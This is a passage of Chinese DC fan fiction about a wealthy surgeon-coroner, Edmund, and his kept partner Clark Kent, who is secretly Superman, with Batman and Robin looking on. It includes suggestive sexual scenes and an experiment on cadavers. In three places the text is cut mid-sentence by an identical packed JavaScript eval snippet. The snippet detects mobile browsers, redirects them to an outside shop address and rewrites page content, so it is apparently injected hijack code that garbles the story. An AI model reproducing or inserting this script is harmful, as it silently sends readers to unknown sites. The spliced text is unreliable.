“但超人能给他们的是希望,是事情还会向好的地方发展的希望,”埃德蒙说,他拿起一瓶矿泉水摇晃了一下,他其实喝不出依云的山泉水和白开水的区别,他还是更喜欢喝纯净水,“喝一杯吗?” 超人又笑了一声,他没说什么,只是飘到了埃德蒙的面前,用那双蓝得惊人的眼睛看着埃德蒙,在靠近的时候埃德蒙会感觉超人的面部轮廓有些模糊,克拉克说过,这是超人的某种超能力。他有些不适地后退了一步,他不习惯和克拉克之外的人过于亲近,即使超人是克拉克的朋友也是一样。见状,超人的笑容带上了几分狡黠,他又靠近了埃德蒙一些,然后说:“克拉克在家里等你呢,莫蒂默先生。” “我知道,我也知道是谁通知的你们,这间房子内层镀铅,还有一些什么东西隔音……”在沉默了几秒钟之后,埃德蒙的语气放得更软了一些,“谢谢,借过一下。” 超人偏过脸看埃德蒙,埃德蒙很认真地和他保持着距离,这样的表现让他忍不住更想笑了。在确定埃德蒙走了之后,他拿过埃德蒙用过的杯子,亲吻了一下上面的唇印,然后转头,对着目瞪口呆的罗宾——杰森竖起了一根手指,眨了一下眼。 随着一声轻微的音爆,超人消失在了房间里,蝙蝠侠走过来的时候,罗宾一把抓住了他的袖子,声音都在颤抖:“超人他想做小三?!” 蝙蝠侠的眼神很明显地移开了一下,哦不对,哦对的对的,哎呀不对……总之超人在扮演想当小三的超人,但他要怎么和孩子解释呢? “……和我们无关,”蝙蝠侠说,“吃汉堡吗?” 罗宾点了点头,事已至此,去吃饭吧。 12. 三角恋这一块 几乎是在埃德蒙打开了他的小别墅门的同一瞬间,克拉克就像是终于找到了猎物的蛇一样纠缠了上来,将嘴唇贴在了埃德蒙的嘴唇上:“真是的,怎么回来的这么晚啊,亲爱的埃德蒙?把我一个人留在家里自己去参加宴会了,还真是个过分的人呢……你知道吗?在等你的时候,我一直都想着,有什么热热的,巨大的东西,把我的肚子完全填满……比如说……” 他在埃德蒙的耳朵上吹了口气:“汉堡王三层牛堡!” 埃德蒙无奈地点了点头,让身后的佣人把打包好的外卖汉堡递过来。他不喜欢吃汉堡这种危险的食物,但是克拉克还挺喜欢的,并且振振有词地说人类就是要靠这种垃圾食品活下去的生物,于是他也会陪克拉克一起去汉堡店,看克拉克猛吃三个婴儿脑袋大的汉堡。一开始克拉克被他看到大口大口地吃东西还会有些害羞,不过现在已经习惯了。 克拉克是那种不易长胖的体质,他平时吃的东西不少,而且吃饭之前从不看卡路里,无论是裹满巧克力脆皮的甜甜圈还是铺满火腿和芝士的披萨,只要好吃他就能塞进嘴里,而且还喝那种已经甜得没有咖啡味的咖啡。埃德蒙很担心他会糖尿病或者胰腺炎怎么的,但是克拉克完全没有病症,他很健康,身材也很好,带着一种滑腻的丰腴。 埃德蒙只能感叹这完全是天赋异禀,看着克拉克像是推土机一样地吃饭,偏偏又吃得还挺优雅,不会把碎屑掉了一桌也不吧唧嘴的样子,他的厌食癖也好了很多。 克拉克欢呼了一声,抱着埃德蒙又亲了一口,拿过外卖的牛皮纸袋坐在了沙发上,电视里正在播送着讲述合租大学生的情景喜剧。埃德蒙挥了挥手,让佣人自己回去,然后坐在了克拉克的身边,克拉克掰了一块汉堡,像是喂鸽子一样喂给埃德蒙,埃德蒙自己拿了一包薯条。一时间房间里只有微弱的咀嚼和电视里传来的罐头笑声回荡。 埃德蒙不是很喜欢看这种情景喜剧,说句实话,他觉得情景喜剧里的人的生活也有点太痛苦了,不过这个世界上的人似乎很习惯这些。克拉克靠在埃德蒙的身上,用膝盖去磨蹭埃德蒙的膝盖,发出呜呜的叫声:“埃德蒙,你怎么不笑啊?” “还在想宴会的事情,”埃德蒙回答,“不想上班。” “所以,宴会怎么样?”克拉克吃完了最后一口汉堡,然后伸出舌头舔干净了手上的酱汁。 “超人和蝙蝠侠来得很及时,许多人还没来得及做什么,”埃德蒙回答,然后和凑过来的克拉克接吻,他的嘴里也带上了芥末黄油的味道,“不过很可惜,就算联邦警察真的来了,事情也就这样结束了。真正的大鱼在联邦警察调动的时候就知道自己应该走了……但宴会地点就此少了一个,也算是好事吧。” “你怎么没被抓啊?”克拉克跨坐到了埃德蒙的腿上,开始解开衬衫的扣子,“难道你在知道联邦警察调动的时候也跑了?” 埃德蒙的手顺着克拉克的后背沿着脊椎抚摸:“我又没有犯法,除非你说游戏打得不好该去坐牢——但我还是想留在那里看看事情处理得怎么样了,然后才回来晚了。” “所以一切就这么结束了?”克拉克问,他漱了漱口,然后像是蛇一样从埃德蒙的膝上滑下去,跪在羊毛地毯上,“接下来还有什么能做的呢?” “你该感谢哥谭至少还是个大城市,虽然有些事情是默认的,但摆在台面上的时候人们还是会希望自己有个好名声……接下来就是辩诉交易,捐款,搞个其他的大新闻把这件事盖过去……” 克拉克吐了吐舌头——他的舌头红艳艳水淋淋的——然后露出一个无奈的笑容:“我讨厌这档子事。” 这么说着,他又爬到了埃德蒙的腿上跨坐着:“我看这里还有个该抓走的人,他胁迫星球日报的记者为自己服务……态度极其嚣张……作风非常强硬呜嗯嗯嗯……这种邪恶的家伙,我一定要把他全都……绳之以法……一点不留……”他那双蓝色的眼睛变得迷离,可以看出其中的尽忠职守。 埃德蒙拍了拍克拉克的腰,克拉克确实把埃德蒙狠狠逮捕,而且克拉克逮捕得身心愉悦。 而此时此刻,正牌的花花公子正带着他的助手蹲在滴水兽上吃汉堡,他摘下头套看着地面上的车水马龙,过了一会儿之后才说:“我知道你有很多事情想问我,罗宾。” “呃……”罗宾咬了一口汉堡,然后问,“所以超人他们这家是什么情况?” “……?”蝙蝠侠愣了一下,他以为罗宾会问他关于宴会,和关于那些被发现了正在做着不轨之事的人该如何处理的问题。他已经想好了该怎么安慰罗宾,顺便告诉罗宾,法律不可能完全处理他们,但至少关掉了一个这样的“宴会厅”也算是进步这件事。但他没想到罗宾居然在考虑这个,或许是超人今天的举动对这个男孩的震撼太大了。 “你干什么这么看着我?”罗宾翻了个白眼,“我知道那些家伙不可能真的受到法律的惩罚,要是那玩意有用世界上就不需要有蝙蝠侠了。我又不是小孩子了……还不如问点我真的好奇的事情……为什么超人比我们都早知道哥谭的事情,还能影响到联邦警察?又为什么超人……” 蝙蝠侠斟酌着思考,克拉克并没有告诉罗宾自己就是超人这件事,必然有他的深意,他总不能直接把朋友马甲掀了。但是什么都不告诉罗宾也是不行的,要是什么都不说,天知道这个八卦会发展成什么样。于是蝙蝠侠思考良久,赌上了自己世界最佳侦探的尊严,开始对罗宾说实话:“埃德蒙·莫蒂默是克拉克·肯特的情人,包养关系只是他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048806|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情趣。” 反正活了那么多年蝙蝠侠没见过谁家包养是这么来的,给钱给资源帮忙办基金会顺便还把同类人闹出的大新闻一起打包送过来了。有时候忙公司的事情忙到快要吐血的时候,他甚至想问活动还有吗,但他只能继续被布鲁斯·韦恩包养,钱左手倒右手,工作一点没少。偏偏又因为布鲁斯·韦恩相对来说除了乱搞男女关系之外洁身自好,很多线索还得他自己查。 “克拉克是超人的线人,另外他们也是……灵魂伴侣的关系。”蝙蝠侠斟酌着说。然后罗宾点了点头:“就像是布鲁斯和蝙蝠侠?” 蝙蝠侠欣慰地点了点头,哦对的对的对的,他们是一个人。 “我明白了。”罗宾回答,但他想的和蝙蝠侠想说的背道而驰,他当然知道布鲁斯和蝙蝠侠是一个人,但他觉得谜底不会在谜面上,说不定蝙蝠侠的意思是他和布鲁斯的关系就是参考了超人和克拉克的关系。他自己调查过这些,大都会人普遍认为超人和克拉克才是一对,毕竟自从超人出现以来,克拉克是第一个采访超人的记者,之后更是几乎承包了超人的专访。 “至于超人和埃德蒙……”说到这里的时候,蝙蝠侠多少还是有点咬牙切齿的,他觉得自己这辈子没见过这么无聊的外星人。喜欢装成别人去引诱自己的恋人是什么脑袋有问题的人才会去做的事情,要是对方真的被吸引了怎么办?哭着说不想分手吗?还是觉得哇哦不管我变成什么样子他都喜欢我?怎么想都觉得有毛病。 “反正这事很复杂,和你我也没有关系,他们想玩什么就让他们随便玩去吧,”蝙蝠侠略带咬牙切齿地说,“不管超人对埃德蒙有什么兴趣,也不管埃德蒙对超人到底是什么看法,只要世界不毁灭,或者这两个人没把哥谭炸掉,就没必要想那么多,他们自己玩得开心着呢。” 杰森似懂非懂地点了点头,原来是大都会三角恋,这下他明白了——但在明白之后,他的心里涌现了一种神秘的感受,那是一种只有自己知道秘密,看着其他人都被瞒着,自己又不能将秘密公之于众的时候,人特有的憋着难受。杰森长出一口气,结束了夜巡之后他躲在被窝里,他思考了很久。 虽然他还是不大能理解这些大人们脑子里在想什么,但是以他的阅读量,他知道,世界上有无数伟大的爱情故事在开始之时都是常人无法理解的三角恋甚至多角恋。超人为什么这么做他还不是很能理解,但一定在其中有着更多深刻的原因。他翻了个身,又翻了个身,终于还是坐起身来拿出了手机。 他在记事本上梳理大纲,并且将真名隐去,此时此刻杰森的心中甚至出现了一种独特的使命感,似乎自己正在创造不朽的传奇篇章。终于,他用着庄重地态度打出了一行字—— 《哥谭山庄》 13. 恋人的清晨 当心猫头鹰法庭,时刻监视你出行。暗处窥望哥谭市,藏于矮墙阁楼间。居于家中他同在,卧及床间他亦存。万莫提及他名号,利爪将你头来寻。 这支童谣从多年以前便一直流传在哥谭的大街小巷之中,哪怕是最为年幼的孩子也对它有所了解,一些哥谭本地的大人们会用这个童谣来恫吓自己的孩子,告诉他们,要是不好好睡觉,在夜晚出门游荡,就会被隐藏在哥谭黑暗之中的“猫头鹰”抓走。没有人知道那些孩子去了哪里,未知总是最可怕的,甚至超越单独的生死。 当然,传说只是传说,童谣也只是童谣,毕竟童谣的流传和猫头鹰法庭的可怖本身便是一则悖论。如若猫头鹰法庭不希望被发现,而且确实有着那样强大的能量,那童谣就不该流传。布鲁斯·韦恩曾经认为童谣属实,他的父母并非被一个抢劫的小混混杀死,杀害他们的是猫头鹰法庭,是某个更强大的组织,然而最后他无法证明这一点,猫头鹰并未被他发现。 然而那并不代表猫头鹰不存在,事实上,猫头鹰的羽翼依旧遍布哥谭的大街小巷——不,不仅仅是哥谭,还有这个国家。 莫蒂默家族在医疗器械和医保方面形成了一种垄断,全美百分之八十的医疗器械厂家都有莫蒂默家族的注资和控股,他们的脚步也同时延伸向航天器械的制作和农机的制作,与艾因家族以交叉持股和联姻等方式占据了全美百分之四十的农机市场。除此之外他们经营着五家大型保险公司,两家矿业集团,二十家海外银行,在美国南部和拉丁美洲拥有超过三个哥谭大小的土地。 莫蒂默家族的势力在猫头鹰法庭并不算是最大的,但也确实名列前茅,据传诺克菲勒家族事实上也和猫头鹰法庭有关,只是很少有人证实这一点——事实上,猫头鹰法庭比起真正的法庭,更像是一个所谓“深层政府”的地下俱乐部,只不过由哥谭本地人牵头,最大的据点又在哥谭的地下。埃德蒙其实也不清楚为什么莫蒂默家族还要执着于哥谭,最后只能归咎于故土难离。 不过说句实话,当金钱的数量多到一定程度的时候,人就会对单纯的数字感到麻木,埃德蒙不知道自己到底多有钱,他只要知道自己的钱花不完,包养克拉克的支出并不算少,但这也不过是他每年基金分红的零头,他所能确定的也只有一点——只要自己不掺合总统选举,他个人的资金是用不完的。至于州长议员这些就没问题了,莫蒂默家族也养着不少议员。 克拉克反而比埃德蒙自己更知道他多有钱,但说句实话,克拉克也很难计算出这到底代表了什么,反正克拉克就算抢二十家银行也不会有埃德蒙那么有钱。说真的,克拉克甚至会觉得这样的生活有些……疯狂。不过平时看来埃德蒙的生活甚至可以说得上质朴,他的物欲很低,也正因如此,克拉克和他的生活相当自在。 一夜无事,于是克拉克在早上七点醒来,他偷偷透视自己的小腹,昨夜他被彻底填满,而今晨那些东西就已经完全被分解,成为了他身体的营养。克拉克不知道氪星人和人类之间是否存在着生殖隔离,不过在黄太阳光下人类的生殖细胞会先被分解,所以就算没有生殖隔离他也无需担心自己未婚先孕……好像这个不算是什么要担心的事情,反正怪怪的。 埃德蒙也因为他的动作苏醒了,他将手放在克拉克滑腻的脊背上,沿着脊骨的走向向下:“不休息一会儿吗?你昨晚可是累坏了。” “我总是觉得你还是太珍惜我了,”克拉克跨坐在埃德蒙的身上,噘着嘴说,“我说过可以继续的吧?又不是说你一定要停下,不是说有钱人都喜欢不管别人死活地做到底吗?你应该让我痉挛、哭泣,昏过去又醒来,然后我想要逃跑,你却抓着我的脚踝把我拖回来,等我哭得连眼泪都流不出来,然后抱着被揉碎的我去洗澡。” “是谁不肯说安全词的?”埃德蒙在他的腰上用力拍了一巴掌,柔软的肉随着埃德蒙的动作微微颤抖,“我是医生,以前我跟急诊的时候经常收到这种想要挑战极限的家伙。人类的肠道是有耐久的,要是不想老了之后被护工打,你最好现在开始节制一点,尊敬的肯特记者。而且我也不想半夜叫救护车把你送去医院,把肠子塞回肚子里去。” 克拉克翻了个白眼,他又不是人类,不需要担心老了之后身体状况会发生变化,他甚至不需要担心自己会变老,他现在已经三十出头了,对于人类来说属于精力逐渐消散的年龄,但他依旧活蹦乱跳的,甚至精力远胜当年。但他不想告诉埃德蒙自己是外星人的事情——倒不是因为不信任,只是单纯不希望他们之间的情况变得更加复杂,所以他也只能在心里抱怨。 埃德蒙不知道克拉克在想什么,但为了安慰自己的Sugar baby,他还是碰住了克拉克的脸和克拉克接吻。克拉克的鼻腔里发出像是猫一样的咕噜声,乖乖张嘴让埃德蒙的舌头伸进来。 “我今天还得回去写报道,”克拉克一边喘息着,一边把自己的腿缠在埃德蒙的腰上,“先给我一点甜头嘛,先生,我喜欢在肚子里满满的时候去上班,就一次,拜托?” 埃德蒙叹了口气,把克拉克按在床上,克拉克的身体很好,恢复力很强,还有快速恢复的超能力,这才是埃德蒙对克拉克肆无忌惮的原因。他可以控制自己不消除克拉克的超能力,也能防止克拉克真的留下什么后遗症——另外,埃德蒙没有说谎,他以前在急诊的时候有个肛肠科的同事,每天都能看到各种人不小心坐到什么神秘的东西上。 支支吾吾的病人,求知若渴的医生,笑容满面的家人,深受震撼的网友。 埃德蒙最终还是让司机送克拉克去星球日报报社了,在克拉克入职星球日报之后他就买到了星球日报的股份,现在他是星球日报的第三大股东,帮克拉克请个假也不是大事。克拉克黏糊糊地和埃德蒙又接了一次吻,然后才心满意足地上车,在车上,他拿出手机,看着昨夜的新闻。果不其然,昨晚联邦警察的行动并没有被任何一个媒体刊登,无论是纸媒还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048807|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是网络,就像是那件事从未发生。 克拉克冷笑了一声,然后靠在椅背上。 埃德蒙整理好衣服之后驱车前往GCPD,昨夜GCPD收拢了十多具尸体,是比较少的一天。绝大部分死者都是流浪汉,他们在哥谭死去,就像是寒夜中死去的虫子。另一部分则是帮派的混混,他们活着就是为了去死的,不过大部分混混也有帮派的人协助收尸,这是帮派福利的一部分,至少不用担心自己的尸体被浣熊和郊狼吃掉。 原本其他验尸官会将这些尸体全部处理掉,但是埃德蒙告诉他们,要给他留下检查,于是他们就在做完基础检查之后把尸体留给了埃德蒙。埃德蒙知道有人觉得他就是喜欢看尸体,这个没办法,验尸官们其实根本不想去看这些虫豸的尸身,丢给尸体经纪人就好,反正有人会给出相对公道的价钱。但埃德蒙还是希望找到自己需要的东西。 内脏被取出之后,那种恶心的气味就消散了,剩下的是一种怪异的香甜,埃德蒙切开皮肉看着脊椎骨,在其中又找到了三具尸体,他们的脊椎骨是拼接的。目前可以确信,的确有人正在进行人体实验,而把不同人的脊椎骨拼在一起是他们研究的项目。埃德蒙叹了口气,他打开被拼在一起的脊椎,连接神经的方式非常值得学习,如果这样的技术被用在治疗因为神经受损而瘫痪的人上…… “我需要一个实验室,”他脱下手套之后打电话,“三具新鲜一点的尸体,我的意思是别腐烂的太严重……不用去杀,不需要那么新鲜,只是单纯的研究。嗯,二十分钟之后用,最好是成年人……什么叫五个婴儿?不行,成年人,身高体重人种接近,我有大小的要求。” 打完电话之后,埃德蒙叹了口气,他倒是做过神经缝合的手术,但是没有一次性缝合过整根脊椎里的所有神经。当然,主要原因是能让脊椎内的神经一次性全断光的事故……一般来说也没有缝合的必要了。幸好,这几个死者只要缝合十一二条,但他还得一根根找神经的对应。 埃德蒙很难想象到底是怎样的超级反派才能干出这种丧心病狂的事情,不过想到是哥谭的超级反派,又觉得干这个理所当然,简直是合情合理,一点都不突兀。他给克拉克发了一条短信,告诉克拉克今天他大概要很晚才能回家了,然后走出停尸房,去往医学实验室。 在哥谭大学有专门为埃德蒙准备的医学实验室,除此之外他还有几个私人实验室,埃德蒙去的是其中一个私人实验室,尸体和实验室助手都在那里等待着他。在哥谭,要找到合适的病人并不是一件容易的事情,要找到死人却很容易。埃德蒙沉默了一下,让实验室助手们先帮他把床上的三具尸体拦腰锯开。 要他自己动手锯人,多半也有点强人所难了。 医生锯人的方式和帮派不通过,至少医生要考虑皮肉的完整和缝合之类的问题,不适两块木板一夹就能开始锯的。埃德蒙看了一眼忙碌的他们,然后开始看手机,克拉克又把照片发过来了。 14. 星球日报 克拉克整理好衣服和裤子之后从马桶盖上坐起身来,他伸了个懒腰,像是蛇一样微微扭动了一下。他很喜欢埃德蒙对他做的那些事情,虽然有些时候他也会觉得埃德蒙对他有些过于……珍惜了。这么说或许有些得寸进尺的嫌疑,不少人在被人包养之后需要担心的是自己不被弄坏,也不被玩腻,为此甚至会有人拉人下水,代替自己承担那份更加失控的暴力。 但克拉克和埃德蒙的情况又有所不同,克拉克是氪星人,在黄太阳光下几乎没有受到伤害的可能,不过也正是因此,他会偷偷期待失控,期待自己能够感觉到更加“人类”的痛楚。他告诉过埃德蒙自己是超能力者,恢复能力超群,哪怕对他使用暴力也不会帮他弄坏,无论多么激烈他都可以承受,不如说这样更好,他甘之如饴…… 可惜的是埃德蒙一直都不喜欢对克拉克做什么过于残酷的事情,最多也就是用点夹子,至于穿耳洞啥的都别想了,他甚至会担心绳子可能弄伤克拉克。克拉克自己还偷偷准备好了蓝氪石以备不时之需,结果一次都没用上,这实在是令并不淳朴的氪星人感到非常遗憾。 这倒不是说克拉克就真不喜欢埃德蒙了,倒不如说要是埃德蒙真的变成了残酷无情的人他还要生气。不过他还是会给埃德蒙准备一些东西,比如说照片,反正他拍照片的时候埃德蒙也不能干涉他什么。他的爱好之一就是偷偷躲起来给埃德蒙发照片,然后偷看和偷听埃德蒙。他喜欢一瞬间混乱的呼吸和加快的心跳,还有同样加快的血液流动和分泌增加的荷尔蒙…… 埃德蒙的表现非常有趣,这也是为什么他总是乐此不疲的在星球日报报社的厕所,或者其他人注意不到的地方做这些事情。 他走出隔间,冲掉了手上黏腻的液体,笑容满面地出门继续自己的工作,每天做这些事都会让他觉得身心舒畅。他已经写好了关于昨天的慈善晚会的稿件,在写稿的时候他一直都在因为荒谬而忍不住发笑。昨天那些觥筹交错之中道貌岸然的大人物们有不少被联邦警察带走了,虽然他们或许很快就会被放出来,但是有些东西还是已经发生了改变的。 可惜的是克拉克不被允许写这篇新闻,毕竟涉及的人或者东西太多了。要列出一张清单很简单,但要以此定罪还有很大的难度。 事情就是这样,事情总是这样,甚至绝大部分人都不知道昨天发生了什么。联邦警察的调动会给人无限的遐想,这些遐想并不一定是真实的,也不一定是什么好事。有人认为这是联邦政府要干涉哥谭的铁证,哥谭人并不相信联邦,哥谭是一个“自治市”。哥谭人会说哥谭变成现在的样子,是因为联邦把不服从联邦调遣的哥谭人视为仇敌,甚至将大量罪犯流放到了哥谭。 似乎在某一个时期开始,大概是1938年前后,哥谭逐渐变得混乱,但这也只是传说。哥谭的传说有很多——地狱之门,印第安人的坟场,恐惧之眼……但哥谭依旧是全美顶级的繁华都市之一。曾经联邦甚至考虑过在哥谭驻军,然而这些驻军也被哥谭人驱逐了,这让它几乎变成全美第……不知道多少个挨过导弹的城市。 然后,熟悉的脚步声响起,克拉克转过头去,看到的是拿着咖啡走到自己身边的露易丝。他微笑起来:“早啊,露易丝,今天是个好天气,看起来你心情不错,是有什么有趣的新闻吗?” 露易丝坐在克拉克对面的椅子上,上下打量着克拉克。在星球日报,对着装的限制并不算严格,只要不是外勤采访,能做到整洁就可以想穿什么穿什么了。于是克拉克穿着浅灰色的高领毛衣,袖子微微盖过手背,驼色的羊毛风衣被他随意搭在椅背上。他戴着金丝边的眼镜,镜架上镶嵌着钻石——这是埃德蒙买的,不过克拉克做了一些氪星的调整以协助他隐藏身份。 露易丝其实挺喜欢克拉克的打扮的,略紧的毛衣和长裤完美地修饰着克拉克的身材,让他看上去格外养眼。克拉克是星球日报的门面,不仅仅是因为他出色的专业能力和想要采访谁都能如愿以偿的人脉,还有他的脸。好几次星球日报圣诞聚会的集体照里,哪怕克拉克在角落,都会有人来询问“他是谁”。 现在的克拉克很难让人看出,他在刚入职星球日报的时候,还是一个有些拘谨的乡下男孩——没错,他确实穿着高定西装,但他看起来就是有些微妙的束手束脚,好像是被人一把拉进城市的灯红酒绿里来的一样。露易丝那时候还担心过克拉克会像是许多刚到大城市的漂亮孩子一样,迅速被广袤的城市吃掉,但克拉克的运气很好。 甚至可以说克拉克的存在影响到了整个星球日报的待遇,好的那种影响。在克拉克入职不久,据说某个新股东就出资给星球日报的部分设施进行了翻新,完全可以说是重新装修,甚至还以私人的名义搞了午餐补贴,就是为了让克拉克在星球日报工作顺心。事情进展到这种程度的时候,就连最小心眼的家伙也会感觉嫉妒不起来,大家默默祝福克拉克,希望他更受宠爱一些。 “有趣的新闻?有。心情不错?未必。”露易丝把一杯咖啡递给克拉克。克拉克接过咖啡喝了一口,星球日报的咖啡豆也是由股东提供的,据说是担心克拉克喝不习惯。露易丝看着克拉克喝咖啡的样子,大概能懂为什么有钱人会喜欢克拉克,她也想给克拉克打钱。 克拉克歪了歪头,好奇地看着露易丝,虽然他大致上能猜到,最近唯一的大新闻大约就是哥谭昨天发生的事情了。果然,露易丝开口:“所以,你昨天去哥谭采访了几位‘慈善家’,并且参与了那场慈善晚会……这一切和之后的联邦警察调动有关吗?” 对于露易丝能猜到比别人更多的东西这件事,克拉克毫不意外,毕竟这可是露易丝。不过有些东西确实也不是很方便直说,尤其是在关于丑闻或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048808|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者隐秘的时候,克拉克眨了眨眼,然后用着委婉的语气回答:“一部分人在宴会结束之后做了一些比较……违背法律和社会公序良俗的事情,刚好被超人发现了,于是联邦警察出动了。” 克拉克讲的很含糊,不过露易丝一下听懂了,一部分人类做出了蠢事,这些事情是警察不想管的,但超人发现了这一切,于是事情就变得不同。这件事从秘密变成了“人类”的丑闻,所以联邦警察出动了,他们在意的并不是任意一个可能的受害者,而是超人的感想。想到这里,露易丝也想笑了,她想说怪不得现在卢瑟还没有来谴责超人干涉人类内部事务,原来如此。 卢瑟或许对超人和人类都不抱有什么好意,但要让一个精英主义者承认这些所谓人类中的精英都不是好东西,还被超人发现了,恐怕比直接杀了他还让他难受。还不如暂时停止发言,在之后被人发现的时候还能建立一些“我针对超人是为了公义”的人设。据说卢瑟要竞选州长,他确实需要一个不错的名望,无论那有多么虚假。 “你家那位呢?”然后露易丝问,她用这个词语指代埃德蒙,或者说,指代克拉克的“男友”。露易丝不想用“你的金主”或者“你的糖爹”之类的词语来形容克拉克和那“某个人”的关系,克拉克看起来很认真,并且从这样的关系之中获得了幸福。露易丝并不知道和克拉克发展出某种关系的人是埃德蒙·莫蒂默,露易丝还没能调查到这里。 或者说,露易丝还没有在那个“圈内”——她刚正不阿,还有一个将军父亲,即使他们的关系并不是很好。露易丝不需要去走那些为人喉舌,或者交付身体的道路,她最需要保证的是在勇往直前的时候不要遇到愣头青的帮派分子或者未成年枪手。而埃德蒙的花边新闻从未登报,流传的只有“莫蒂默家的少爷有一个珍爱的宠物,十年都没有玩腻”。 然后克拉克的眼睛弯了起来,他的脸上带着一种灿烂的,坠入爱河的人所特有的笑容:“他当然是个好人,超人也可以证明他什么坏事都没做呢!”一边说着,克拉克甚至一边抬起手挡了一下自己的嘴,发出轻轻的咳嗽,眼睛也璀璨得像是发光:“所以他昨晚回来了啊。” 露易丝吐了吐舌头,她觉得克拉克这种表情甚至有点诡异,像个高中生,不过露易丝本人也没有谈过恋爱,所以她也没法说什么。如果克拉克幸福的话一切都好,这是她作为朋友的祝福,但忧虑依然存在。有钱人的面前总是有着更多的诱惑,他们顺从诱惑甚至无需付出代价,会受伤的是克拉克,永远是克拉克,她只担心克拉克可能遭遇的事情。 她的父亲就用一些记者的遭遇警醒她,甚至以此威胁她放弃记者的工作,她知道自己面前的是一条怎样的荆棘路却依旧踏了上去。她知道总有一天,就连莱恩将军的名声都无法保护自己,因此她希望在那一天到来之前能更多地揭露什么。 15. 哥谭的特产 对于埃德蒙来说,这一次的脊神经缝合手术可以算得上困难,也可以算得上简单。 困难当然是指手术本身的难度,神经缝合手术并不是随便哪个外科医生都能做的,而涉及到中枢神经的手术更是需要慎之又慎。埃德蒙的手术助手也是熟面孔了,在最开始他们并不明白为什么自己要给一个比自己更小的人打下手,不过现在他们已经习惯了。此时此刻的他们看着埃德蒙的双手,眼神认真,不再是过去那种好像看到了怪物的模样。 埃德蒙也稍微放慢了一些动作,让他们可以看清自己究竟是如何进行缝合的,他并不介意自己的操作方式,或者说针法被人学去,或者说他觉得这样更好。埃德蒙并不觉得这是需要保密的东西,毕竟这个世界上其他需要保密的东西实在是太多了,他也不介意这些学生未来给谁做手术——帮派分子或者是阔佬,能做的起这种手术的人本身少之又少。 至于埃德蒙觉得这个手术简单,是因为他现在需要缝合的并不是活人,他不需要担心手术不成功,或者预后不良会给病人留下什么后遗症。虽然法医其实也经常会遇到医闹,但反正来医闹的不是死者本人就行,死者家属有什么意见就有吧。事到如今他都在哥谭了,还有什么更糟糕的吗? 只考虑技术,不考虑排异反应等情况,将一个人的下半身接在另一个人的上半身这种事是完全可行的,在结束了缝合之后,埃德蒙想,不过整个哥谭能做这种手术的人也不多。暂时不考虑流窜到哥谭的,其他城市的疯狂医生的话,埃德蒙能找出除自己以外的,四个有这种技术的嫌疑人。至于他们的心理状况是否有可能犯案……都哥谭了,完全没有心理疾病的人才可怕。 对于埃德蒙而言,调查到这里也已经足够了,毕竟他不是超级英雄,也不是侦探,虽然兼职法医,但警察都没想就这个案子继续调查下去,他做什么都是白费功夫。他只是有点微妙的不甘心,偶尔他会想,他好歹也是个穿越者,没有像是小说里的穿越者那样大杀四方也就算了,似乎他活到现在,除了外科手术的技术比前世更好之外,其他的许多东西都是下行的。 不过热血上头也只是一瞬间的事情了。 他的金手指的被动能让他不至于因为一些违背前世他所认知的科学规律的事情而死——比如说诅咒对他不起效果,魔法对他没用,什么力大无穷的超能力者给他一拳他也不会受伤,或者拿着什么诅咒之刃就像是拿着普通的,不能拍蒜的菜刀……他的人生中最惊险的一次就是被小丑拿火箭筒轰过,不过因为那是小丑的无后坐力火箭筒,所以对他完全没用。 埃德蒙最怕的还是普通的枪和小刀,一架宇宙飞船砸到他的头上他都能毫发无损,但如果是一个嗑嗨了的小混混拿着小刀捅他一下,只要捅对了地方他就会血流不止。埃德蒙本人并不怕死,说到底他能穿越就是因为死过一次了,他害怕的是自己死了之后克拉克该怎么办。这个世界非常危险,越是想要好好生活的人就越是容易被拉入险境中去。 在他才包养克拉克的时候就出现过这样的事情,克拉克的手头刚有了余钱,就有其他学生来找克拉克打牌,并且提出光打牌没意思,最好能加点赌注——克拉克没有同意,他们还邀请克拉克一起去什么地方玩耍。和克拉克共同承担租金租住公寓的人偷偷翻克拉克的东西,哪怕他们是低头不见抬头见的同学,还有人尝试要让克拉克吸叶子。 最后埃德蒙给克拉克挑选了更好的公寓才平息了这一切,克拉克自己却像是对这些毫不在意一样。克拉克被家里宠溺着,许多时候无法看到危险的靠近,而埃德蒙不一样,克拉克把这些事情当做笑话讲给埃德蒙的时候,埃德蒙的胃就开始痉挛。他吐了很久,他觉得自己快要把内脏都一起吐出来了。如果他死了,克拉克又会回到那种被人觊觎的环境当中。 幸好这个世界上存在着超人,埃德蒙想,幸好超人似乎对克拉克很有兴趣。 